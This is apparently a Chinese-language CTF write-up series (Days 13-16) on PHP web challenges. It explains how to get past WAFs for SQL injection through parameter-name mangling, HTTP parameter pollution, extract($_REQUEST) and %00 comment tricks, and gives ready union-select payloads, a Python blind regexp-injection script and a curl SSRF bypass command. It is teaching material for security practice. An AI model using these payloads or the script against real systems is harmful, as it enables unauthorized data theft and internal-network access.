Day-13题解(By l1nk3r)

题目如下:

在做Day13之前,我们先来了解一些需要用到的基础知识。

  • 对于传入的非法的 $_GET 数组参数名,PHP会将他们替换成 下划线 。经过fuzz,有以下这些字符:

  • 当我们使用HPP(HTTP参数污染)传入多个相同参数给服务器时,PHP只会接收到后者的值。(这一特性和中间件有关系)

  • 通过 $_SERVER['REQUEST_URI'] 方式获得的参数,并不会对参数中的某些特殊字符进行替换。

这里的代码中有两个waf。

第一个WAF在代码 第29行-第30行 ,这里面采用了 dowith_sql() 函数,跟进一下 dowith_sql() 函数,该函数主要功能代码在 第19-第26行 ,如果 $_REQUEST 数组中的数据存在 select|insert|update|delete 等敏感关键字或者是字符,则直接 exit() 。如果不存在,则原字符串返回。

而第二个WAF在代码 第33行-第39行 ,这部分代码通过 $_SERVER['REQUEST_URI'] 的方式获取参数,然后使用 explode 函数针对 & 进行分割,获取到每个参数的参数名和参数值。然后针对每个参数值调用 dhtmlspecialchars() 函数进行过滤。

跟进一下 dhtmlspecialchars() 函数,发现其相关功能代码在 第3行-第14行 ,这个函数主要功能是针对 '&', '"', '<', '>', '(', ')' 等特殊字符进行过滤替换,最后返回替换后的内容。从 第44行和第45行 的代码中,我们可以看到这题的参数都是通过 REQUEST 方式获取。我们可以先来看个例子:

第一次 $_REQUEST 仅仅只会输出 i_d=2 的原因是因为php自动将 i.d 替换成了 i_d 。而根据我们前面说的第二个特性,PHP取最后一个参数对应的值,因此第一次 $_REQUEST 输出的是2。

第二次 $_REQUEST 会输出 i_d=select&i.d=2 是因为 \$_SERVER['REQUEST_URI'] 并不会对特殊的符号进行替换,因此结果会原封不动的输出。所以这题的payload可以根据下面这个思维导图进行构造:

  • 我们通过页面请求 i_d=padyload&i.d=123
  • 当数据流到达第一个WAF时,php会将参数中的某些特殊符号替换为下划线。因此便得到了两个 i_d ,所以此时的payload变成了 i_d=payload&i_d=123
  • 前面我们介绍了,如果参数相同的情况下,默认 第二个参数传入的值 会覆盖 第一个参数传入的值 。因此此时在第一个WAF中 i_d=123 ,不存在其他特殊的字符,因此绕过了第一个WAF。
  • 当数据流到达进入到第二个WAF时,由于代码是通过 $_SERVER['REQUEST_URI'] 取参数,而我们前面开头的第三个知识点已经介绍过了 $_SERVER['REQUEST_URI'] 是不会将参数中的特殊符号进行转换,因此这里的 i.d 参数并不会被替换为 i_d ,所以此时正常来说 i.di_d 都能经过第二个WAF。
  • 第二个WAF中有一个 dhtmlspecialchars() 函数,这里需要绕过它,其实很好绕过。绕过之后 i_d=payload&i.d=123 便会进入到业务层代码中,执行SQL语句,由于这里的SQL语句采用拼接的方式,因此存在SQL注入。

因此最后payload如下:

http://127.0.0.1/index.php?submit=&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123

Day14题解:(By 七月火)

这次的CTF题目考察的是一个SQL注入问题,且解法有两种(PHP版本为5.2.x)。我们先来看一下整个网站的框架。

www                      应用部署目录
 ├─css                   存放css静态文件
 ├─image                 存放图片文件
 ├─config.php            连接mysql的配置文件
 ├─content.php           留言查看文件
 ├─do.php                留言文件
 ├─function.php          全局功能函数
 ├─global.php            全局过滤文件
 ├─index.php             主页文件
 ├─login.php             登录文件
 ├─logout.php            登出文件
 ├─register.php          注册文件
 ├─waf.php               WAF文件

在观察程序的过程中,我们明显发现 content.php 文件中存在 变量覆盖SQL注入 漏洞。但是在程序开头,引入了全局过滤文件 global.php ,我们这里还要看看它是如何进行过滤的。

从下面的图片中,我们可以明显看到程序对 GETPOSTCOOKIES 三种数据处理方式不一样。下面,我们分别来看这两种解法。

解法一

可以通过 GETPOSTcontent.php 文件传递如下 payload 获取flag:

message_id=-1/*%00*/union/**/select/**/1,flag,3,4/**/from/**/flag

如果是 GET 方式传递数据的话,数据会经过 filtering 函数过滤,而在 filtering 函数中,开头的 eregi 检测,我们又可以使用 %00 截断绕过,但是下方还有循环替换恶意字符的代码,这里无法绕过。 filtering 函数代码如下:

也就是说我们的 payload 经过 filtering 函数处理后变成了下面这样( select 被过滤掉了):

-1/*%00*/union/**//**/1,flag,3,4/**/from/**/flag

当我们继续看代码时,会发现下面的代码又把 message_id 变量的值还原了。因为 content.php 文件中有代码: extract($_REQUEST) ,所以这里也就造成了注入。

那如果是 POST 方式传送数据,会先经过 filtering 函数处理,然后经过 safe_str 函数。 safe_str 函数主要用了 addslashes 函数过滤数据,可以发现对我们的 payload 并没有影响。 safe_str 函数代码如下:

这里能进行注入的原因,主要是因为超全局数组 $_REQUEST 中的数据,是 $_GET$_POST$_COOKIE 的合集,而且数据是复制过去的,并不是引用。所以对 $_GET$_POST 处理并不会影响 $_REQUEST 中的数据。

解法二

第二种解法是通过 COOKIE 的方式进行解题。我们会发现程序对 COOKIE 数据的处理方式,明显和处理 $_GET$_POST 的方式不一样。对 COOKIE 数据的处理方式具体如下:

payload 为:message_id=0 union select 1,2,flag,4 from flag 现在连 eregi 函数都不用绕了。

Day15题解:(By 七月火)

Day15的CTF考察的还是绕过WAF进行SQL注入,具体题目如下:

我们可以看到 第25-26行 ,只要我们知道 Admin 用户的密码,就能拿到flag。在 第11行$_GET[user]$_GET[pwd] 两个变量可控,存在SQL注入。再看 第6-7行 ,当中过滤了 #- 号,那么我们就无法进行常规的注释,但是我们可以用 ;%00 来进行注释。 $black_list 还过滤了很多字符串截取函数,这里我们可使用 regexp 来解决。最终我们的payload如下:

http://localhost/CTF/?user=\&pwd=||1;%00
对应SQL语句为:
select user from users where user='\' and pwd='||1;'
等价于:
select user from users where user='xxxxxxxxxxx'||1#

根据以上分析,我们可以写出如下python程序:

import string
import requests
import re
char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
pw = ''
while 1:
    for ch in char_set:
        url = 'http://localhost/CTF/?user=\\&pwd=||pwd/**/regexp/**/"^%s";%%00'
        r = requests.get(url=url%(pw+ch))
        if 'Welcome Admin' in r.text:
            pw += ch
            print(pw)
            break
    if ch == '_': break
r = requests.get('http://localhost/CTF/?user=&pwd=%s' % pw)
print(re.findall('HRCTF{\S{1,50}}',r.text)[0])

Day16题解:(By 七月火)

Day16的CTF考察的是 SSRF漏洞flag 只有通过 127.0.0.1 的IP去请求 flag.php 文件,才能获得flag。具体题目如下:

可以看到程序对用户传来的数据,会先使用 safe_request_url 函数对URL的合法性进行判断。而在 safe_request_url 函数中,使用 check_inner_ip 函数判断用户请求的IP是否为内部IP地址,如果是,则拒绝该请求;否则使用curl进行请求,并将请求结果进行输出。对于这一知识点,我们可以参考这篇文章: us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages

我们可以利用URL解析器之间的差异处理,构造如下 payload

curl -d "url=http://foo@localhost:80@www.freebuf.com/flag.php" "http://题目IP/"

点击收藏 | 0 关注 | 1
登录 后跟帖